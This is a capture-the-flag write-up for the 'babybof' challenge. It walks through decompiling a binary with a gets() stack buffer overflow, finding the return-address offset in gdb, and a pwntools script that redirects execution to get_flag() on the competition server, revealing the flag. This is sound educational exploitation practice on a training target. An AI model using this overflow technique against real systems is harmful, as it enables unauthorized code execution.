# babybof1
## Description
Author: Lunga
```nc chals20.cybercastors.com 14425```
## Analysis
Open the binary with Ghidra and look at `main()`
```cvoid main(void)
{  char local_108 [256];   puts("Welcome to the cybercastors Babybof");  printf("Say your name: ");  gets(local_108);  return;}```
It's a buffer overflow, we just have to write more than 256 chars. We need to call this handy `get_flag()` function:
```cvoid get_flag(void)
{  int iVar1;  FILE *__stream;   __stream = fopen("flag.txt","r");  if (__stream == (FILE *)0x0) {                    /* WARNING: Subroutine does not return */    exit(1);  }  while( true ) {    iVar1 = fgetc(__stream);    if ((char)iVar1 == -1) break;    putchar((int)(char)iVar1);  }  fclose(__stream);                    /* WARNING: Subroutine does not return */  exit(0);}```
Here is the disassembly for both functions:
```(gdb) disas mainDump of assembler code for function main:   0x000000000040074d <+0>:	push   %rbp   0x000000000040074e <+1>:	mov    %rsp,%rbp   0x0000000000400751 <+4>:	sub    $0x100,%rsp   0x0000000000400758 <+11>:	lea    0xc9(%rip),%rdi        # 0x400828   0x000000000040075f <+18>:	callq  0x400590 <puts@plt>   0x0000000000400764 <+23>:	lea    0xe1(%rip),%rdi        # 0x40084c   0x000000000040076b <+30>:	mov    $0x0,%eax   0x0000000000400770 <+35>:	callq  0x4005b0 <printf@plt>   0x0000000000400775 <+40>:	lea    -0x100(%rbp),%rax   0x000000000040077c <+47>:	mov    %rax,%rdi   0x000000000040077f <+50>:	mov    $0x0,%eax   0x0000000000400784 <+55>:	callq  0x4005d0 <gets@plt>   0x0000000000400789 <+60>:	nop   0x000000000040078a <+61>:	leaveq    0x000000000040078b <+62>:	retq   End of assembler dump.(gdb) disas get_flagDump of assembler code for function get_flag:   0x00000000004006e7 <+0>:	push   %rbp   0x00000000004006e8 <+1>:	mov    %rsp,%rbp   0x00000000004006eb <+4>:	sub    $0x10,%rsp   0x00000000004006ef <+8>:	lea    0x122(%rip),%rsi        # 0x400818   0x00000000004006f6 <+15>:	lea    0x11d(%rip),%rdi        # 0x40081a   0x00000000004006fd <+22>:	callq  0x4005e0 <fopen@plt>   0x0000000000400702 <+27>:	mov    %rax,-0x8(%rbp)   0x0000000000400706 <+31>:	cmpq   $0x0,-0x8(%rbp)   0x000000000040070b <+36>:	jne    0x400722 <get_flag+59>   0x000000000040070d <+38>:	mov    $0x1,%edi   0x0000000000400712 <+43>:	callq  0x4005f0 <exit@plt>   0x0000000000400717 <+48>:	movsbl -0x9(%rbp),%eax   0x000000000040071b <+52>:	mov    %eax,%edi   0x000000000040071d <+54>:	callq  0x400580 <putchar@plt>   0x0000000000400722 <+59>:	mov    -0x8(%rbp),%rax   0x0000000000400726 <+63>:	mov    %rax,%rdi   0x0000000000400729 <+66>:	callq  0x4005c0 <fgetc@plt>   0x000000000040072e <+71>:	mov    %al,-0x9(%rbp)   0x0000000000400731 <+74>:	cmpb   $0xff,-0x9(%rbp)   0x0000000000400735 <+78>:	jne    0x400717 <get_flag+48>   0x0000000000400737 <+80>:	mov    -0x8(%rbp),%rax   0x000000000040073b <+84>:	mov    %rax,%rdi   0x000000000040073e <+87>:	callq  0x4005a0 <fclose@plt>   0x0000000000400743 <+92>:	mov    $0x0,%edi   0x0000000000400748 <+97>:	callq  0x4005f0 <exit@plt>End of assembler dump.(gdb) break *0x0000000000400789Breakpoint 1 at 0x400789(gdb) break *0x00000000004006e7Breakpoint 2 at 0x4006e7```
Create a rough overflow to see where the end of the input ends up:
```root@kali:~/Downloads# perl -e 'print "A"x268' > payload```
```(gdb) run < payloadThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /root/Downloads/babybof < payloadWelcome to the cybercastors Babybof
Breakpoint 1, 0x0000000000400789 in main ()(gdb) x/40wx $rsp+2000x7fffffffe188:	0x41414141	0x41414141	0x41414141	0x414141410x7fffffffe198:	0x41414141	0x41414141	0x41414141	0x414141410x7fffffffe1a8:	0x41414141	0x41414141	0x41414141	0x414141410x7fffffffe1b8:	0x41414141	0x41414141	0x41414141	0x414141410x7fffffffe1c8:	0x41414141	0x00007f00	0x00000000	0x000000000x7fffffffe1d8:	0xffffe2a8	0x00007fff	0x00040000	0x000000010x7fffffffe1e8:	0x0040074d	0x00000000	0x00000000	0x000000000x7fffffffe1f8:	0x7717f981	0x5ae6ba70	0x00400600	0x000000000x7fffffffe208:	0xffffe2a0	0x00007fff	0x00000000	0x000000000x7fffffffe218:	0x00000000	0x00000000	0xbb97f981	0xa519450f(gdb) contContinuing.
Program received signal SIGSEGV, Segmentation fault.0x00007f0041414141 in ?? ()(gdb) ```
Perfect, that ended up right in the middle of the return address. We need to overwrite the return address with the address of `get_flag()` (0x00000000004006e7). So that will be 264 chars, plus the address of `get_flag()`.
```root@kali:~/Downloads# perl -e 'print "A"x264 . "\xe7\x06\x40\x00\x00\x00\x00\x00"' > payload && ./babybof < payload; echo $?Welcome to the cybercastors BabybofSay your name: 1```
It's returning 1 because there is no `flag.txt` to open. Create one, and the contents is printed out.
```root@kali:~/Downloads# echo hello > flag.txtroot@kali:~/Downloads# perl -e 'print "A"x264 . "\xe7\x06\x40\x00\x00\x00\x00\x00"' > payload && ./babybof < payload; echo $?Welcome to the cybercastors BabybofSay your name: hello0```
## Solution
Now that we have a POC working locally, code up the exploit for the remote server.
```python#!/usr/bin/env python3from pwn import *
binary = ELF('./babybof')get_flag = binary.symbols['get_flag']print("get_flag: %x\n" % get_flag)p = remote('chals20.cybercastors.com', 14425)p.recvuntil('Say your name:')payload = b'A' * 264payload += p64(get_flag)p.sendline(payload)p.stream()```
```root@kali:~/Downloads# ./exploit.py [*] '/root/Downloads/babybof'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x400000)    RWX:      Has RWX segmentsget_flag: 4006e7
[+] Opening connection to chals20.cybercastors.com on port 14425: Done AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe7^F@^@^@^@^@^@castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}```
